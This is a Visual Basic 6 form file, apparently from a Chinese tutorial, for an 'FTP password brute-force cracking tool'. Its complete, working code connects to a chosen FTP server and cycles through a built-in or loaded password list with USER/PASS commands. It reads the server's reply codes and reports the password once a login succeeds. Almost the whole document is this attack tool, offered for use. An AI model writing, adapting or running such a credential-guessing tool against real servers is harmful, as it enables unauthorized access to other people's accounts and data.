form1.frm

VB打造FTP密码暴力破解工具

VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{831FDD16-0C5C-11D2-A9FC-0000F8754DA1}#2.0#0"; "MSCOMCTL.OCX"
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "ComDlg32.OCX"
Begin VB.Form Form1 
   Caption         =   "FTP暴力破解工具V1.0  --By 无敌小龙（张博） Q：5450913"
   ClientHeight    =   6360
   ClientLeft      =   3015
   ClientTop       =   2205
   ClientWidth     =   8325
   LinkTopic       =   "Form1"
   ScaleHeight     =   6360
   ScaleWidth      =   8325
   Begin MSComctlLib.ProgressBar ProgressBar1 
      Height          =   255
      Left            =   240
      TabIndex        =   9
      Top             =   5160
      Width           =   7815
      _ExtentX        =   13785
      _ExtentY        =   450
      _Version        =   393216
      Appearance      =   1
   End
   Begin VB.Frame Frame3 
      Caption         =   "用户名称："
      Height          =   855
      Left            =   240
      TabIndex        =   6
      Top             =   120
      Width           =   2415
      Begin VB.TextBox Text1 
         Height          =   375
         Left            =   120
         TabIndex        =   7
         Text            =   "xiaolong"
         Top             =   360
         Width           =   2055
      End
   End
   Begin VB.Frame Frame2 
      Caption         =   "检测："
      Height          =   4815
      Left            =   2880
      TabIndex        =   3
      Top             =   120
      Width           =   5175
      Begin VB.TextBox Text2 
         Height          =   375
         Left            =   1200
         TabIndex        =   10
         Text            =   "127.0.0.1"
         Top             =   360
         Width           =   2415
      End
      Begin VB.CommandButton Command1 
         Caption         =   "开始扫描"
         Height          =   375
         Left            =   3720
         TabIndex        =   5
         Top             =   360
         Width           =   1215
      End
      Begin VB.ListBox List2 
         Height          =   3840
         Left            =   120
         TabIndex        =   4
         Top             =   840
         Width           =   4815
      End
      Begin MSWinsockLib.Winsock Winsock1 
         Left            =   960
         Top             =   0
         _ExtentX        =   741
         _ExtentY        =   741
         _Version        =   393216
      End
      Begin VB.Label Label2 
         Caption         =   "FTP服务器："
         Height          =   255
         Left            =   120
         TabIndex        =   11
         Top             =   480
         Width           =   1095
      End
   End
   Begin VB.Frame Frame1 
      Caption         =   "密码列表："
      Height          =   3735
      Left            =   240
      TabIndex        =   0
      Top             =   1200
      Width           =   2415
      Begin MSComDlg.CommonDialog CommonDialog1 
         Left            =   840
         Top             =   1800
         _ExtentX        =   847
         _ExtentY        =   847
         _Version        =   393216
      End
      Begin VB.CommandButton Command2 
         Caption         =   "载入密码列表"
         Height          =   375
         Left            =   120
         TabIndex        =   2
         Top             =   360
         Width           =   2055
      End
      Begin VB.ListBox List1 
         Height          =   2760
         Left            =   120
         TabIndex        =   1
         Top             =   840
         Width           =   2055
      End
   End
   Begin VB.Label Label1 
      Caption         =   "无敌小龙：Http://hi.baidu.com/pespin"
      Height          =   255
      Left            =   2280
      TabIndex        =   8
      Top             =   5760
      Width           =   3495
   End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim i As Integer

Private Sub Command1_Click()
List2.Clear '所有的初始化工作
i = 0
ProgressBar1.Min = 0
ProgressBar1.Max = List1.ListCount - 1

Winsock1.Close
Winsock1.Connect Text2.Text, 21 '连接FTP服务器
End Sub

Private Sub Command2_Click()
On Error Resume Next
Dim a As String

CommonDialog1.Action = 1 '打开文件
If CommonDialog1.FileName <> "" Then
   List1.Clear '清空原来的列表
   Open CommonDialog1.FileName For Input As #1
   Do While Not EOF(1)
      Line Input #1, a
      List1.AddItem a
   Loop
   Close
End If
End Sub

Private Sub Form_Load() '加入密码列表
List1.AddItem "789"
List1.AddItem "456"
List1.AddItem "123456"
List1.AddItem "xxxxxx"
List1.AddItem "eeeeee"
List1.AddItem "bbbbbb"
List1.AddItem "ccc"
List1.AddItem "xyz"
List1.AddItem "abc"
List1.AddItem "888"
List1.AddItem "123"
List1.AddItem "111"
List1.AddItem "999999"
End Sub

Private Sub Winsock1_Connect()
List2.AddItem "连接成功"
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) '数据到达
Dim a As String
Winsock1.GetData a '获取数据
List2.AddItem a
ProgressBar1.Value = i

If i = List1.ListCount - 1 Then
   MsgBox "所有密码检测完毕"
   Exit Sub
End If

If Mid(a, 1, 3) = "220" Then '发送用户
   Winsock1.SendData "USER " + Text1.Text + vbCrLf '这里的回车换行不能少
   List2.AddItem "USER " + Text1.Text
End If

If Mid(a, 1, 3) = "331" Then '发送密码
   Winsock1.SendData "PASS " + List1.List(i) + vbCrLf
   List2.AddItem "PASS " + List1.List(i)
End If

If Mid(a, 1, 3) = "530" Then '用户或者密码错误
   Winsock1.SendData "USER " + Text1.Text + vbCrLf '重新发送用户名，这样可以建立一个新的扫描会话！
   i = i + 1
   List2.AddItem "USER " + Text1.Text
End If

If Mid(a, 1, 3) = "230" Then
   Form1.Caption = "用户为：" + Text1.Text + "，密码为：" + List1.List(i)
   ProgressBar1.Value = 0
End If
End Sub